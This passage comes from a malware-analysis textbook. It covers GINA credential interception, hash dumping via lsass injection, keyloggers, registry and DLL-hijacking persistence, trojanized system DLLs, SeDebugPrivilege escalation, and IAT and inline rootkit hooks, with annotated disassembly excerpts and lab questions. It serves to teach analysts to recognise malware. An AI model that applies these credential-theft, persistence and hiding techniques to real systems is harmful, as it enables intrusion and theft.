system will continue to operate normally. In order to do so, the malware
must contain all DLL exports required by GINA; specifically, it must export
more than 15 functions, most of which are prepended with Wlx. Clearly, if
you find that you are analyzing a DLL with many export functions that begin
with the string Wlx, you have a good indicator that you are examining a GINA
interceptor.
Most of these exports simply call through to the real functions in
msgina.dll. In the case of fsgina.dll, all but the WlxLoggedOutSAS export call
through to the real functions. Listing 11-1 shows the WlxLoggedOutSAS export
of fsgina.dll.
100014A0 WlxLoggedOutSAS
100014A0 push esi
100014A1 push edi
100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS"
100014A7 call Call_msgina_dll_function
winlogon.exe
fsgina.dll
msgina.dll
236
Chapter 11
...
100014FB push eax ; Args
100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s"
10001501 push offset aDRIVERS ; "drivers\tcpudp.sys"
10001503 call Log_To_File
Listing 11-1: GINA DLL WlxLoggedOutSAS export function for logging stolen credentials
As you can see at , the credential information is immediately passed to
msgina.dll by the call we have labeled Call_msgina_dll_function. This function
dynamically resolves and calls WlxLoggedOutSAS in msgina.dll, which is passed in
as a parameter. The call at performs the logging. It takes parameters of the
credential information, a format string that will be used to print the creden-
tials, and the log filename. As a result, all successful user logons are logged to
%SystemRoot%\system32\drivers\tcpudp.sys. The log includes the username,
domain, password, and old password.
Hash Dumping
Dumping Windows hashes is a popular way for malware to access system cre-
dentials. Attackers try to grab these hashes in order to crack them offline or
to use them in a pass-the-hash attack. A pass-the-hash attack uses LM and
NTLM hashes to authenticate to a remote host (using NTLM authentica-
tion) without needing to decrypt or crack the hashes to obtain the plaintext
password to log in.
Pwdump and the Pass-the-Hash (PSH) Toolkit are freely available pack-
ages that provide hash dumping. Since both of these tools are open source, a
lot of malware is derived from their source code. Most antivirus programs
have signatures for the default compiled versions of these tools, so attackers
often try to compile their own versions in order to avoid detection. The
examples in this section are derived versions of pwdump or PSH that we
have encountered in the field.
Pwdump is a set of programs that outputs the LM and NTLM password
hashes of local user accounts from the Security Account Manager (SAM).
Pwdump works by performing DLL injection inside the Local Security
Authority Subsystem Service (LSASS) process (better known as lsass.exe).
We’ll discuss DLL injection in depth in Chapter 12. For now, just know that
it is a way that malware can run a DLL inside another process, thereby pro-
viding that DLL with all of the privileges of that process. Hash dumping tools
often target lsass.exe because it has the necessary privilege level as well as access
to many useful API functions.
Standard pwdump uses the DLL lsaext.dll. Once it is running inside
lsass.exe, pwdump calls GetHash, which is exported by lsaext.dll in order to
perform the hash extraction. This extraction uses undocumented Windows
function calls to enumerate the users on a system and get the password
hashes in unencrypted form for each user.
When dealing with pwdump variants, you will need to analyze DLLs in
order to determine how the hash dumping operates. Start by looking at the
DLL’s exports. The default export name for pwdump is GetHash, but attackers
Malware Behavior
237
can easily change the name to make it less obvious. Next, try to determine
the API functions used by the exports. Many of these functions will be
dynamically resolved, so the hash dumping exports often call GetProcAddress
many times.
Listing 11-2 shows the code in the exported function GrabHash from a
pwdump variant DLL. Since this DLL was injected into lsass.exe, it must man-
ually resolve numerous symbols before using them.
1000123F push offset LibFileName ; "samsrv.dll"
10001244 call esi ; LoadLibraryA
10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll"
...
10001251 call esi ; LoadLibraryA
...
1000125B push offset ProcName ; "SamIConnect"
10001260 push ebx ; hModule
10001265 call esi ; GetProcAddress
...
10001281 push offset aSamrqu ; "SamrQueryInformationUser"
10001286 push ebx ; hModule
1000128C call esi ; GetProcAddress
...
100012C2 push offset aSamigetpriv ; "SamIGetPrivateData"
100012C7 push ebx ; hModule
100012CD call esi ; GetProcAddress
...
100012CF push offset aSystemfuncti ; "SystemFunction025"
100012D4 push edi ; hModule
100012DA call esi ; GetProcAddress
100012DC push offset aSystemfuni_0 ; "SystemFunction027"
100012E1 push edi ; hModule
100012E7 call esi ; GetProcAddress
Listing 11-2: Unique API calls used by a pwdump variant’s export function GrabHash
Listing 11-2 shows the code obtaining handles to the libraries samsrv.dll
and advapi32.dll via LoadLibrary at and . Samsrv.dll contains an API to
easily access the SAM, and advapi32.dll is resolved to access functions not
already imported into lsass.exe. The pwdump variant DLL uses the handles
to these libraries to resolve many functions, with the most important five
shown in the listing (look for the GetProcAddress calls and parameters).
The interesting imports resolved from samsrv.dll are SamIConnect,
SamrQueryInformationUser, and SamIGetPrivateData. Later in the code, SamIConnect
is used to connect to the SAM, followed by calling SamrQueryInformationUser
for each user on the system.
The hashes will be extracted with SamIGetPrivateData and decrypted by
SystemFunction025 and SystemFunction027, which are imported from advapi32.dll,
as seen at and . None of the API functions in this listing are documented
by Microsoft.
238
Chapter 11
The PSH Toolkit contains programs that dump hashes, the most popular
of which is known as whosthere-alt. whosthere-alt dumps the SAM by inject-
ing a DLL into lsass.exe, but using a completely different set of API functions
from pwdump. Listing 11-3 shows code from a whosthere-alt variant that
exports a function named TestDump.
10001119 push offset LibFileName ; "secur32.dll"
1000111E call ds:LoadLibraryA
10001130 push offset ProcName ; "LsaEnumerateLogonSessions"
10001135 push esi ; hModule
10001136 call ds:GetProcAddress
...
10001670 call ds:GetSystemDirectoryA
10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll
...
100016A6 push eax ; path to msv1_0.dll
100016A9 call ds:GetModuleHandleA
Listing 11-3: Unique API calls used by a whosthere-alt variant’s export function TestDump
Since this DLL is injected into lsass.exe, its TestDump function performs
the hash dumping. This export dynamically loads secur32.dll and resolves its
LsaEnumerateLogonSessions function at to obtain a list of locally unique iden-
tifiers (known as LUIDs). This list contains the usernames and domains for
each logon and is iterated through by the DLL, which gets access to the cre-
dentials by finding a nonexported function in the msv1_0.dll Windows DLL
in the memory space of lsass.exe using the call to GetModuleHandle shown at .
This function, NlpGetPrimaryCredential, is used to dump the NT and LM
hashes.
NOTE
While it is important to recognize the dumping technique, it might be more critical to
determine what the malware is doing with the hashes. Is it storing them on a disk, post-
ing them to a website, or using them in a pass-the-hash attack? These details could be
really important, so identifying the low-level hash dumping method should be avoided
until the overall functionality is determined.
Keystroke Logging
Keylogging is a classic form of credential stealing. When keylogging, malware
records keystrokes so that an attacker can observe typed data like usernames
and passwords. Windows malware uses many forms of keylogging.
Kernel-Based Keyloggers
Kernel-based keyloggers are difficult to detect with user-mode applications.
They are frequently part of a rootkit and they can act as keyboard drivers to
capture keystrokes, bypassing user-space programs and protections.
Malware Behavior
239
User-Space Keyloggers
Windows user-space keyloggers typically use the Windows API and are
usually implemented with either hooking or polling. Hooking uses the
Windows API to notify the malware each time a key is pressed, typically
with the SetWindowsHookEx function. Polling uses the Windows API to con-
stantly poll the state of the keys, typically using the GetAsyncKeyState and
GetForegroundWindow functions.
Hooking keyloggers leverage the Windows API function SetWindowsHookEx.
This type of keylogger may come packaged as an executable that initiates the
hook function, and may include a DLL file to handle logging that can be
mapped into many processes on the system automatically. We discuss using
SetWindowsHookEx in Chapter 12.
We’ll focus on polling keyloggers that use GetAsyncKeyState and
GetForegroundWindow. The GetAsyncKeyState function identifies whether a key
is pressed or depressed, and whether the key was pressed after the most
recent call to GetAsyncKeyState. The GetForegroundWindow function identifies
the foreground window—the one that has focus—which tells the keylogger
which application is being used for keyboard entry (Notepad or Internet
Explorer, for example).
Figure 11-3 illustrates a typical loop structure found in a polling keylog-
ger. The program begins by calling GetForegroundWindow, which logs the active
window. Next, the inner loop iterates through a list of keys on the keyboard.
For each key, it calls GetAsyncKeyState to determine if a key has been pressed.
If so, the program checks the SHIFT and CAPS LOCK keys to determine how to
log the keystroke properly. Once the inner loop has iterated through the
entire list of keys, the GetForegroundWindow function is called again to ensure
the user is still in the same window. This process repeats quickly enough
to keep up with a user’s typing. (The keylogger may call the Sleep function to
keep the program from eating up system resources.)
Figure 11-3: Loop structure of GetAsyncKeyState and GetForegroundWindow
keylogger
Call GetForegroundWindow
Log if new window
Call GetAsyncKeyState
Check Shift and Caps Lock
Log if new key pressed
Done iterating through all keys?
Check next key
NO
YES
240
Chapter 11
Listing 11-4 shows the loop structure in Figure 11-3 disassembled.
00401162 call ds:GetForegroundWindow
...
00401272 push 10h ; nVirtKey Shift
00401274 call ds:GetKeyState
0040127A mov esi, dword_403308[ebx]
00401280 push esi ; vKey
00401281 movsx edi, ax
00401284 call ds:GetAsyncKeyState
0040128A test ah, 80h
0040128D jz short loc_40130A
0040128F push 14h ; nVirtKey Caps Lock
00401291 call ds:GetKeyState
...
004013EF add ebx, 4
004013F2 cmp ebx, 368
004013F8 jl loc_401272
Listing 11-4: Disassembly of GetAsyncKeyState and GetForegroundWindow keylogger
The program calls GetForegroundWindow before entering the inner loop.
The inner loop starts at and immediately checks the status of the SHIFT key
using a call to GetKeyState. GetKeyState is a quick way to check a key status, but
it does not remember whether or not the key was pressed since the last time it
was called, as GetAsyncKeyState does. Next, at the keylogger indexes an array
of the keys on the keyboard using EBX. If a new key is pressed, then the key-
stroke is logged after calling GetKeyState to see if CAPS LOCK is activated. Finally,
EBX is incremented at so that the next key in the list can be checked.
Once 92 keys (368/4) have been checked, the inner loop terminates, and
GetForegroundWindow is called again to start the inner loop from the beginning.
Identifying Keyloggers in Strings Listings
You can recognize keylogger functionality in malware by looking at the
imports for the API functions, or by examining the strings listing for indica-
tors, which is particularly useful if the imports are obfuscated or the malware
is using keylogging functionality that you have not encountered before. For
example, the following listing of strings is from the keylogger described in
the previous section:
[Up]
[Num Lock]
[Down]
[Right]
[UP]
[Left]
[PageDown]
Malware Behavior
241
If a keylogger wants to log all keystrokes, it must have a way to print keys
like PAGE DOWN, and must have access to these strings. Working backward
from the cross-references to these strings can be a way to recognize keylog-
ging functionality in malware.
Persistence Mechanisms
Once malware gains access to a system, it often looks to be there for a long
time. This behavior is known as persistence. If the persistence mechanism is
unique enough, it can even serve as a great way to fingerprint a given piece
of malware.
In this section, we begin with a discussion of the most commonly achieved
method of persistence: modification of the system’s registry. Next, we review
how malware modifies files for persistence through a process known as trojan-
izing binaries. Finally, we discuss a method that achieves persistence without
modifying the registry or files, known as DLL load-order hijacking.
The Windows Registry
When we discussed the Windows registry in Chapter 7, we noted that it is
common for malware to access the registry to store configuration informa-
tion, gather information about the system, and install itself persistently. You
have seen in labs and throughout the book that the following registry key is a
popular place for malware to install itself:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
There are many other persistence locations in the registry, but we won’t
list all of them, because memorizing them and then searching for each entry
manually would be tedious and inefficient. There are tools that can search
for persistent registries for you, like the Autoruns program by Sysinternals,
which points you to all the programs that automatically run on your system.
Tools like ProcMon can monitor for registry modification while performing
basic dynamic analysis.
Although we covered registry analysis earlier in the book, there are a
couple popular registry entries that are worth expanding on further that we
haven’t discussed yet: AppInit_DLLs, Winlogon, and SvcHost DLLs.
AppInit_DLLs
Malware authors can gain persistence for their DLLs though a special regis-
try location called AppInit_DLL. AppInit_DLLs are loaded into every process
that loads User32.dll, and a simple insertion into the registry will make
AppInit_DLLs persistent.
The AppInit_DLLs value is stored in the following Windows registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
242
Chapter 11
The AppInit_DLLs value is of type REG_SZ and consists of a space-delimited
string of DLLs. Most processes load User32.dll, and all of those processes also
load the AppInit_DLLs. Malware authors often target individual processes,
but AppInit_DLLs will be loaded into many processes. Therefore, malware
authors must check to see in which process the DLL is running before exe-
cuting their payload. This check is often performed in DllMain of the mali-
cious DLL.
Winlogon Notify
Malware authors can hook malware to a particular Winlogon event, such as
logon, logoff, startup, shutdown, and lock screen. This can even allow the
malware to load in safe mode. The registry entry consists of the Notify value
in the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
When winlogon.exe generates an event, Windows checks the Notify regis-
try key for a DLL that will handle it.
SvcHost DLLs
As discussed in Chapter 7, all services persist in the registry, and if they’re
removed from the registry, the service won’t start. Malware is often installed
as a Windows service, but typically uses an executable. Installing malware for
persistence as an svchost.exe DLL makes the malware blend into the process
list and the registry better than a standard service.
Svchost.exe is a generic host process for services that run from DLLs, and
Windows systems often have many instances of svchost.exe running at once.
Each instance of svchost.exe contains a group of services that makes develop-
ment, testing, and service group management easier. The groups are defined
at the following registry location (each value represents a different group):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Services are defined in the registry at the following location:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
Windows services contain many registry values, most of which provide
information about the service, such as DisplayName and Description. Malware
authors often set values that help the malware blend in, such as NetWareMan,
which “Provides access to file and print resources on NetWare networks.”
Another service registry value is ImagePath, which contains the location of
the service executable. In the case of an svchost.exe DLL, this value contains
%SystemRoot%/System32/svchost.exe –k GroupName.
All svchost.exe DLLs contain a Parameters key with a ServiceDLL value, which
the malware author sets to the location of the malicious DLL. The Start
Malware Behavior
243
value, also under the Parameters key, determines when the service is started
(malware is typically set to launch during system boot).
Windows has a set number of service groups predefined, so malware will
typically not create a new group, since that would be easy to detect. Instead,
most malware will add itself to a preexisting group or overwrite a nonvital
service—often a rarely used service from the netsvcs service group. To iden-
tify this technique, monitor the Windows registry using dynamic analysis, or
look for service functions such as CreateServiceA in the disassembly. If mal-
ware is modifying these registry keys, you’ll know that it’s using this persis-
tence technique.
Trojanized System Binaries
Another way that malware gains persistence is by trojanizing system binaries.
With this technique, the malware patches bytes of a system binary to force
the system to execute the malware the next time the infected binary is run or
loaded. Malware authors typically target a system binary that is used frequently
in normal Windows operation. DLLs are a popular target.
A system binary is typically modified by patching the entry function so
that it jumps to the malicious code. The patch overwrites the very beginning
of the function or some other code that is not required for the trojanized
DLL to operate properly. The malicious code is added to an empty section
of the binary, so that it will not impact normal operation. The inserted code
typically loads malware and will function no matter where it’s inserted in the
infected DLL. After the code loads the malware, it jumps back to the original
DLL code, so that everything still operates as it did prior to the patch.
While examining one infected system, we noticed that the system
binary rtutils.dll did not have the expected MD5 hash, so we investigated
further. We loaded the suspect version of rtutils.dll, along with a clean ver-
sion, into IDA Pro. The comparison between their DllEntryPoint functions
is shown in Table 11-1. The difference is obvious: the trojanized version
jumps to another location.
Listing 11-5 shows the malicious code that was inserted into the infected
rtutils.dll.
Table 11-1: rtutils.dll’s DLL Entry Point Before and After Trojanization
Original code
Trojanized code
DllEntryPoint(HINSTANCE hinstDLL,
DWORD fdwReason, LPVOID lpReserved)
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+8]
push esi
mov esi, [ebp+0Ch]
DllEntryPoint(HINSTANCE hinstDLL,
DWORD fdwReason, LPVOID lpReserved)
jmp DllEntryPoint_0
244
Chapter 11
76E8A660 DllEntryPoint_0
76E8A660 pusha
76E8A661 call sub_76E8A667
76E8A666 nop
76E8A667 sub_76E8A667
76E8A667 pop ecx
76E8A668 mov eax, ecx
76E8A66A add eax, 24h
76E8A66D push eax
76E8A66E add ecx, 0FFFF69E2h
76E8A674 mov eax, [ecx]
76E8A677 add eax, 0FFF00D7Bh
76E8A67C call eax ; LoadLibraryA
76E8A67E popa
76E8A67F mov edi, edi
76E8A681 push ebp
76E8A682 mov ebp, esp
76E8A684 jmp loc_76E81BB2
...
76E8A68A aMsconf32_dll db 'msconf32.dll',0
Listing 11-5: Malicious patch of code inserted into a system DLL
As you can see, the function labeled DLLEntryPoint_0 does a pusha, which
is commonly used in malicious code to save the initial state of the register
so that it can do a popa to restore it when the malicious process completes.
Next, the code calls sub_76E8A667 at , and the function is executed. Notice
that it starts with a pop ecx, which will put the return address into the ECX
register (since the pop comes immediately after a call). The code then adds
0x24 to this return address (0x76E8A666 + 0x24 = 0x76E8A68A) and pushes
it on the stack. The location 0x76E8A68A contains the string 'msconf32.dll',
as seen at . The call to LoadLibraryA causes the patch to load msconf32.dll.
This means that msconf32.dll will be run and loaded by any process that
loads rtutils.dll as a module, which includes svchost.exe, explorer.exe, and
winlogon.exe.
After the call to LoadLibraryA, the patch executes the instruction popa,
thus restoring the system state that was saved with the original pusha instruc-
tion. After the popa are three instructions (starting at ) that are identical
to the first three instructions in the clean rtutils.dll DllEntryPoint, shown in
Table 11-1. After these instructions is a jmp back to the original DllEntryPoint
method.
DLL Load-Order Hijacking
DLL load-order hijacking is a simple, covert technique that allows malware
authors to create persistent, malicious DLLs without the need for a registry
entry or trojanized binary. This technique does not even require a separate
malicious loader, as it capitalizes on the way DLLs are loaded by Windows.
Malware Behavior
245
The default search order for loading DLLs on Windows XP is as follows:
1.
The directory from which the application loaded
2.
The current directory
3.
The system directory (the GetSystemDirectory function is used to get the
path, such as …/Windows/System32/)
4.
The 16-bit system directory (such as …/Windows/System/)
5.
The Windows directory (the GetWindowsDirectory function is used to get
the path, such as …/Windows/)
6.
The directories listed in the PATH environment variable
Under Windows XP, the DLL loading process can be skipped by utiliz-
ing the KnownDLLs registry key, which contains a list of specific DLL loca-
tions, typically located in …/Windows/System32/. The KnownDLLs mechanism
is designed to improve security (malicious DLLs can’t be placed higher in
the load order) and speed (Windows does not need to conduct the default
search in the preceding list), but it contains only a short list of the most
important DLLs.
DLL load-order hijacking can be used on binaries in directories other
than /System32 that load DLLs in /System32 that are not protected by KnownDLLs.
For example, explorer.exe in the /Windows directory loads ntshrui.dll found in
/System32. Because ntshrui.dll is not a known DLL, the default search is fol-
lowed, and the /Windows directory is checked before /System32. If a malicious
DLL named ntshrui.dll is placed in /Windows, it will be loaded in place of the
legitimate DLL. The malicious DLL can then load the real DLL to ensure
that the system continues to run properly.
Any startup binary not found in /System32 is vulnerable to this attack, and
explorer.exe has roughly 50 vulnerable DLLs. Additionally, known DLLs are
not fully protected due to recursive imports, and because many DLLs load
other DLLs, which follow the default search order.
Privilege Escalation
Most users run as local administrators, which is good news for malware
authors. This means that the user has administrator access on the machine,
and can give the malware those same privileges.
The security community recommends not running as local administra-
tor, so that if you accidentally run malware, it won’t automatically have full
access to your system. If a user launches malware on a system but is not run-
ning with administrator rights, the malware will usually need to perform a
privilege-escalation attack to gain full access.
The majority of privilege-escalation attacks are known exploits or
zero-day attacks against the local OS, many of which can be found in the
Metasploit Framework (http://www.metasploit.com/). DLL load-order hijack-
ing can even be used for a privilege escalation. If the directory where the
246
Chapter 11
malicious DLL is located is writable by the user, and the process that loads
the DLL is run at a higher privilege level, then the malicious DLL will gain
escalated privileges. Malware that includes privilege escalation is relatively
rare, but common enough that an analyst should be able to recognize it.
Sometimes, even when the user is running as local administrator, the
malware will require privilege escalation. Processes running on a Windows
machine are run either at the user or the system level. Users generally can’t
manipulate system-level processes, even if they are administrators. Next, we’ll
discuss a common way that malware gains the privileges necessary to attack
system-level processes on Windows machines.
Using SeDebugPrivilege
Processes run by a user don’t have free access to everything, and can’t,
for instance, call functions like TerminateProcess or CreateRemoteThread on
remote processes. One way that malware gains access to such functions is
by setting the access token’s rights to enable SeDebugPrivilege. In Windows
systems, an access token is an object that contains the security descriptor of a
process. The security descriptor is used to specify the access rights of the
owner—in this case, the process. An access token can be adjusted by calling
AdjustTokenPrivileges.
The SeDebugPrivilege privilege was created as a tool for system-level debug-
ging, but malware authors exploit it to gain full access to a system-level process.
By default, SeDebugPrivilege is given only to local administrator accounts, and it
is recognized that granting SeDebugPrivilege to anyone is essentially equivalent
to giving them LocalSystem account access. A normal user account cannot give
itself SeDebugPrivilege; the request will be denied.
Listing 11-6 shows how malware enables its SeDebugPrivilege.
00401003
lea eax, [esp+1Ch+TokenHandle]
00401006
push eax ; TokenHandle
00401007
push (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY)
; DesiredAccess
00401009
call ds:GetCurrentProcess
0040100F
push eax ; ProcessHandle
00401010
call ds:OpenProcessToken
00401016
test eax, eax
00401018
jz short loc_401080
0040101A
lea ecx, [esp+1Ch+Luid]
0040101E
push ecx ; lpLuid
0040101F
push offset Name ; "SeDebugPrivilege"
00401024
push 0 ; lpSystemName
00401026
call ds:LookupPrivilegeValueA
0040102C
test eax, eax
0040102E
jnz short loc_40103E
...
0040103E
mov eax, [esp+1Ch+Luid.LowPart]
00401042
mov ecx, [esp+1Ch+Luid.HighPart]
00401046
push 0 ; ReturnLength
00401048
push 0 ; PreviousState
0040104A
push 10h ; BufferLength
Malware Behavior
247
0040104C
lea edx, [esp+28h+NewState]
00401050
push edx ; NewState
00401051
mov [esp+2Ch+NewState.Privileges.Luid.LowPt], eax
00401055
mov eax, [esp+2Ch+TokenHandle]
00401059
push 0 ; DisableAllPrivileges
0040105B
push eax ; TokenHandle
0040105C
mov [esp+34h+NewState.PrivilegeCount], 1
00401064
mov [esp+34h+NewState.Privileges.Luid.HighPt], ecx
00401068
mov [esp+34h+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED
00401070
call ds:AdjustTokenPrivileges
Listing 11-6: Setting the access token to SeDebugPrivilege
The access token is obtained using a call to OpenProcessToken at and
passing in its process handle (obtained with the call to GetCurrentProcess),
and the desired access (in this case, to query and adjust privileges) are passed
in. Next, the malware calls LookupPrivilegeValueA. which retrieves the locally
unique identifier (LUID). The LUID is a structure that represents the specified
privilege (in this case, SeDebugPrivilege).
The information obtained from OpenProcessToken and LookupPrivilegeValueA
is used in the call to AdjustTokenPrivileges at . A key structure, PTOKEN_PRIVILEGES,
is also passed to AdjustTokenPrivileges and labeled as NewState by IDA Pro.
Notice that this structure sets the low and high bits of the LUID using the
result from LookupPrivilegeValueA in a two-step process seen at and . The
Attributes section of the NewState structure is set to SE_PRIVILEGE_ENABLED at ,
in order to enable SeDebugPrivilege.
This combination of calls often happens before system process manipu-
lation code. When you see a function containing this code, label it and move
on. It’s typically not necessary to analyze the intricate details of the escalation
method that malware uses.
Covering Its Tracks—User-Mode Rootkits
Malware often goes to great lengths to hide its running processes and persis-
tence mechanisms from users. The most common tool used to hide malicious
activity is referred to as a rootkit.
Rootkits can come in many forms, but most of them work by modifying
the internal functionality of the OS. These modifications cause files, pro-
cesses, network connections, or other resources to be invisible to other pro-
grams, which makes it difficult for antivirus products, administrators, and
security analysts to discover malicious activity.
Some rootkits modify user-space applications, but the majority modify
the kernel, since protection mechanisms, such as intrusion prevention sys-
tems, are installed and running at the kernel level. Both the rootkit and the
defensive mechanisms are more effective when they run at the kernel level,
rather than at the user level. At the kernel level, rootkits can corrupt the sys-
tem more easily than at the user level. The kernel-mode technique of SSDT
hooking and IRP hooks were discussed in Chapter 10.
248
Chapter 11
Here we’ll introduce you to a couple of user-space rootkit techniques, to
give you a general understanding of how they work and how to recognize
them in the field. (There are entire books devoted to rootkits, and we’ll only
scratch the surface in this section.)
A good strategy for dealing with rootkits that install hooks at the user
level is to first determine how the hook is placed, and then figure out what
the hook is doing. Now we will look at the IAT and inline hooking techniques.
IAT Hooking
IAT hooking is a classic user-space rootkit method that hides files, processes,
or network connections on the local system. This hooking method modifies
the import address table (IAT) or the export address table (EAT). An exam-
ple of IAT hooking is shown in Figure 11-4. A legitimate program calls the
TerminateProcess function, as seen at . Normally, the code will use the IAT to
access the target function in Kernel32.dll, but if an IAT hook is installed, as
indicated at , the malicious rootkit code will be called instead. The rootkit
code returns to the legitimate program to allow the TerminateProcess function
to execute after manipulating some parameters. In this example, the IAT
hook prevents the legitimate program from terminating a process.
Figure 11-4: IAT hooking of TerminateProcess. The top path is the normal flow, and the bottom path is the flow
with a rootkit.
The IAT technique is an old and easily detectable form of hooking,
so many modern rootkits use the more advanced inline hooking method
instead.
Inline Hooking
Inline hooking overwrites the API function code contained in the imported
DLLs, so it must wait until the DLL is loaded to begin executing. IAT hook-
ing simply modifies the pointers, but inline hooking changes the actual func-
tion code.
A malicious rootkit performing inline hooking will often replace the
start of the code with a jump that takes the execution to malicious code
Legitimate Program
Import Address TabIe (IAT)
IAT with Hook
7C80180E push 20
7C801810 push kernel32.7C809BA8
7C801815 call kernel32.7C8024C6
7C80181A xor ebx, ebx
7C80181C mov ecx,dword ptr ss:[ebp+14]
7C80181F cmp ecx, ebx
7C801821 je short kernel32.7C801825
7C801823 mov ptr ds:[ecx],ebx
...
Kernel32.dll TerminateProcess
Rootkit
34200000 Malicious Code
...
10003044 7C801E16 - CreateProcessA
10003048 7C80180E - TerminateProcess
1000304C 7C863D2C - ReadFile
10003050 7C863EB7 - Process32First
10001BCA push 0
10001BCC mov eax, [ebp+hProcess]
10001BCF push eax
10001BD0 call ds: TerminateProcess
10003044 7C801E16 - CreateProcessA
10003048 34200000 - Rootkit Code
1000304C 7C863D2C - ReadFile
10003050 7C863EB7 - Process32First
Malware Behavior
249
inserted by the rootkit. Alternatively, the rootkit can alter the code of the
function to damage or change it, rather than jumping to malicious code.
An example of the inline hooking of the ZwDeviceIoControlFile function
is shown in Listing 11-7. This function is used by programs like Netstat to
retrieve network information from the system.
100014B4 mov edi, offset ProcName; "ZwDeviceIoControlFile"
100014B9 mov esi, offset ntdll ; "ntdll.dll"
100014BE push edi ; lpProcName
100014BF push esi ; lpLibFileName
100014C0 call ds:LoadLibraryA
100014C6 push eax ; hModule
100014C7 call ds:GetProcAddress
100014CD test eax, eax
100014CF mov Ptr_ZwDeviceIoControlFile, eax
Listing 11-7: Inline hooking example
The location of the function being hooked is acquired at . This rootkit’s
goal is to install a 7-byte inline hook at the start of the ZwDeviceIoControlFile
function in memory. Table 11-2 shows how the hook was initialized; the raw
bytes are shown on the left, and the assembly is shown on the right.
The assembly starts with the opcode 0xB8 (mov imm/r), followed by four
zero bytes, and then the opcodes 0xFF 0xE0 (jmp eax). The rootkit will fill in
these zero bytes with an address before it installs the hook, so that the jmp
instruction will be valid. You can activate this view by pressing the C key on
the keyboard in IDA Pro.
The rootkit uses a simple memcpy to patch the zero bytes to include the
address of its hooking function, which hides traffic destined for port 443.
Notice that the address given (10004011) matches the address of the zero bytes
in the previous example.
100014D9 push 4
100014DB push eax
100014DC push offset unk_10004011
100014E1 mov eax, offset hooking_function_hide_Port_443
100014E8 call memcpy
Table 11-2: 7-Byte Inline Hook
Raw bytes
Disassembled bytes
10004010 db 0B8h
10004011
db 0
10004012 db 0
10004013 db 0
10004014 db 0
10004015 db 0FFh
10004016 db 0E0h
10004010 mov eax, 0
10004015 jmp eax
250
Chapter 11
The patch bytes (10004010) and the hook location are then sent to a func-
tion that installs the inline hook, as shown in Listing 11-8.
100014ED push 7
100014EF push offset Ptr_ZwDeviceIoControlFile
100014F4 push offset 10004010 ;patchBytes
100014F9 push edi
100014FA push esi
100014FB call Install_inline_hook
Listing 11-8: Installing an inline hook
Now ZwDeviceIoControlFile will call the rootkit function first. The rootkit’s
hooking function removes all traffic destined for port 443 and then calls the
real ZwDeviceIoControlFile, so everything continues to operate as it did before
the hook was installed.
Since many defense programs expect inline hooks to be installed at the
beginning of functions, some malware authors have attempted to insert the
jmp or the code modification further into the API code to make it harder
to find.
Conclusion
This chapter has given you a quick tour through some of the common capa-
bilities of malware. We started with the different types of backdoors. Then we
explored how malware steals credentials from a victim. Next, we looked at
the different ways that malware can achieve persistence on a system. Finally,
we showed how malware covers its tracks so that it cannot be easily found.
You now have been introduced to the most common malware behaviors.
The next several chapters deepen the discussion of malware behavior. In
the next chapter, we talk about how malware covertly launches. In later chap-
ters, we’ll look at how malware encodes data and how it communicates over
networks.
Malware Behavior
251
L A B S
Lab 11-1
Analyze the malware found in Lab11-01.exe.
Questions
1.
What does the malware drop to disk?
2.
How does the malware achieve persistence?
3.
How does the malware steal user credentials?
4.
What does the malware do with stolen credentials?
5.
How can you use this malware to get user credentials from your test
environment?
Lab 11-2
Analyze the malware found in Lab11-02.dll. Assume that a suspicious file
named Lab11-02.ini was also found with this malware.
Questions
1.
What are the exports for this DLL malware?
2.
What happens after you attempt to install this malware using
rundll32.exe?
3.
Where must Lab11-02.ini reside in order for the malware to install
properly?
4.
How is this malware installed for persistence?
5.
What user-space rootkit technique does this malware employ?
6.
What does the hooking code do?
7.
Which process(es) does this malware attack and why?
8.
What is the significance of the .ini file?
9.
How can you dynamically capture this malware’s activity with Wireshark?
Lab 11-3
Analyze the malware found in Lab11-03.exe and Lab11-03.dll. Make sure that
both files are in the same directory during analysis.
252
Chapter 11
Questions
1.
What interesting analysis leads can you discover using basic static
analysis?
2.
What happens when you run this malware?
3.
How does Lab11-03.exe persistently install Lab11-03.dll?
4.
Which Windows system file does the malware infect?
5.
What does Lab11-03.dll do?
6.
Where does the malware store the data it collects?
C O V E R T M A L W A R E L A U N C H I N G
As computer systems and users have become more
sophisticated, malware, too, has evolved. For example,
because many users know how to list processes with the
Windows Task Manager (where malicious software used
to appear), malware authors have developed many techniques to blend their
malware into the normal Windows landscape, in an effort to conceal it.
This chapter focuses on some of the methods that malware authors use
to avoid detection, called covert launching techniques. Here, you’ll learn how to
recognize code constructs and other coding patterns that will help you to
identify common ways that malware is covertly launched.
Launchers
As discussed in the previous chapter, a launcher (also known as a loader) is a
type of malware that sets itself or another piece of malware for immediate or
future covert execution. The goal of a launcher is to set up things so that the
malicious behavior is concealed from a user.
Launchers often contain the malware that they’re designed to load. The
most common example is an executable or DLL in its own resource section.
254
Chapter 12
The resource section in the Windows PE file format is used by the executable
and is not considered part of the executable. Examples of the normal contents
of the resource section include icons, images, menus, and strings. Launchers
will often store malware within the resource section. When the launcher is
run, it extracts an embedded executable or DLL from the resource section
before launching it.
As you have seen in previous examples, if the resource section is com-
pressed or encrypted, the malware must perform resource section extrac-
tion before loading. This often means that you will see the launcher use
resource-manipulation API functions such as FindResource, LoadResource,
and SizeofResource.
Malware launchers often must be run with administrator privileges or
escalate themselves to have those privileges. Average user processes can’t
perform all of the techniques we discuss in this chapter. We discussed privi-
lege escalation in the previous chapter. The fact that launchers may con-
tain privilege-escalation code provides another way to identify them.
Process Injection
The most popular covert launching technique is process injection. As the name
implies, this technique injects code into another running process, and that
process unwittingly executes the malicious code. Malware authors use pro-
